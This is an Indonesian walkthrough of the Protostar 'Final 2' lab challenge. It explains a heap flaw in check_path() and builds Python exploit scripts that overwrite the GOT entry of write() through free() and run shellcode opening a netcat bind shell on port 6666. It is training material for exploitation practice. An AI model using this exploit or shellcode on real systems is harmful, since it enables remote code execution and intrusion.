Protostar Final 2

Alat dan Bahan

  • Berkas: final2
  • Sistem operasi: Debian 9 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
  char *start;
  char *p;
  int l;

  /*
  * Work out old software bug
  */

  p = rindex(buf, '/');
  l = strlen(p);
  if(p) {
      start = strstr(buf, "ROOT");
      if(start) {
          while(*start != '/') start--;
          memmove(start, p, l);
          printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
          "yes" : "no", start - buf);
      }
  }
}

int get_requests(int fd)
{
  char *buf;
  char *destroylist[256];
  int dll;
  int i;

  dll = 0;
  while(1) {
      if(dll >= 255) break;

      buf = calloc(REQSZ, 1);
      if(read(fd, buf, REQSZ) != REQSZ) break;

      if(strncmp(buf, "FSRD", 4) != 0) break;

      check_path(buf + 4);     

      dll++;
  }

  for(i = 0; i < dll; i++) {
                write(fd, "Process OK\n", strlen("Process OK\n"));
      free(destroylist[i]);
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  get_requests(fd);

}

Identifikasi Kelemahan

Perbedaan antara source code dan binary terletak pada fungsi printf() dan fungsi check_path() tidak dipanggil pada binary. Kelemahan pada fungsi check_path() adalah karakter '/' yang mengawali string 'ROOT' pada buffer dan tidak disertai validasi.

while(*start != '/') start--;

Setelah itu, buffer yang diawali dari variabel p disalin pada posisi awal yang baru.

memmove(start, p, l);

Informasi penting lain yang perlu diperhatikan lain:

  • Setiap request berisi 128 bytes.
  • Setiap request mengalokasikan potongan heap.
  • Setiap request dapat dirangkai dengan koneksi yang sama.

Solusi untuk masalah ini menggunakan dua request, payload pertama berisi karakter '/' dan buffer yang diawali variabel p. Payload kedua berisi string ROOT dan karakter '/' kedua sebagai penanda awal buffer yang akan disalin.

Pada klien, buatlah script a.py dibawah ini untuk mencoba koneksi ke server.

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.101', 2993))

payload = ''
payload += 'FSRD'
payload += 'A'*123
payload += '/'
payload += 'FSRD'
payload += 'ROOT'
payload += 'A'*103
payload += '/'
payload += '\xf8\xff\xff\xff'
payload += '\xfc\xff\xff\xff'
payload += 'B'*4
payload += 'C'*4

raw_input('waiting... hit [enter]')
s.send(payload+'\n')
print s.recv(16)

Jalankan dengan perintah.

$ python a.py
waiting... hit [enter]

Jangan tekan enter! Pada server, login sebagai root dan debug program dengan GDB.

# pidof final2
14840 1316

# gdb -q --pid 14840
Attaching to process 14840
Reading symbols from /opt/protostar/bin/final2...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S

Perhatikan karakter / ke-2 (dan payload yang digunakan untuk mengeksploitasi fungsi free()) adalah akhir dari setiap request. Karakter / digunakan untuk membatasi fungsi memmove() yang menyalin sebanyak fungsi strlen(p) data. Ketika program mengalami crash`, coba debug* dengan GDB!

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0804aaef in free (mem=0x804e008) at final2/../common/malloc.c:3648
3648    final2/../common/malloc.c: No such file or directory.
    in final2/../common/malloc.c
(gdb) x/i $eip
0x804aaef <free+301>:    mov    %edx,0xc(%eax)
(gdb) i r $edx
edx            0x43434343    1128481603
(gdb) i r $eax
eax            0x42424242    1111638594
(gdb)

Teknik yang akan dilakukan pada eksploitasi adalah dengan arbitrary memory overwrite, sebagaimana pada tantangan Heap 3. Selanjutnya timpa fungsi GOT write() dengan shellcode yang berada pada 0x804e09c.

# objdump -R /opt/protostar/bin/final2 | grep write
0804d41c R_386_JUMP_SLOT   write
0804d468 R_386_JUMP_SLOT   fwrite

Pada klien, buatlah script b.py dibawah ini untuk mencoba koneksi ke server.

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.101', 2993))

payload = ''
payload += 'FSRD'
payload += 'A'*123
payload += '/'
payload += 'FSRD'
payload += 'ROOT'
payload += '\xcc'
payload += '\x90'*102
payload += '/'
payload += '\xf8\xff\xff\xff'
payload += '\xfc\xff\xff\xff'
payload += '\x10\xd4\x04\x08'
payload += '\x98\xe0\x04\x08'

raw_input('waiting... hit [enter]')
s.send(payload+'\n')
print s.recv(16)

Jalankan dengan perintah.

$ python b.py
waiting... hit [enter]

Jangan tekan enter! Pada server, login sebagai root dan debug program dengan GDB.

# pidof final2
14860 1316
# gdb -q --pid 14860
Attaching to process 14860
Reading symbols from /opt/protostar/bin/final2...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
(gdb)

Coba lihat outputnya.

$ python final2a.py 
waiting... hit [enter]
Process OK

Mari periksa apakah sudah ditimpa dengan tepat, dengan menggunakan instruksi int3 (SIGTRAP ) pada shellcode yang akan digunakan.

(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804e099 in ?? ()
Current language:  auto
The current source language is "auto; currently asm".
(gdb) x/x 0x0804ec98
0x804ec98:    0x00000000
(gdb) x/x 0x0804ec99
0x804ec99:    0x00000000
(gdb) 
0x804ec9d:    0x00000000
(gdb) x/5i $eip-1
0x804e098:    int3   
0x804e099:    nop
0x804e09a:    nop
0x804e09b:    nop
0x804e09c:    nop

Buatlah script c.py dengan kode dibawah ini untuk mendapatkan akses shell. Poin yang perlu diklarifikasi adalah jump pada \xeb\x05 yang digunakan untuk jump ke nilai ke-2 dari fungsi free().

import socket
import struct
import telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.101', 2993))

req_size = 128
HDR = 'FSRD'
NOP = '\x90'
jump = NOP * 6 + '\xeb\x06' # JUMP + 6
free_payload  = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'

shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req  = HDR + 'ROOT' + jump #16
second_req += NOP * (req_size - len(HDR) - 4 - len(jump) - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload #17

payload = first_req + second_req

raw_input('waiting... hit [enter]')
s.send(payload+'\n')
print s.recv(16)

sh = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sh.connect(('192.168.56.101', 6666))

t = telnetlib.Telnet()
t.sock = sh
t.interact()

Referensi

results matching ""

    No results matching ""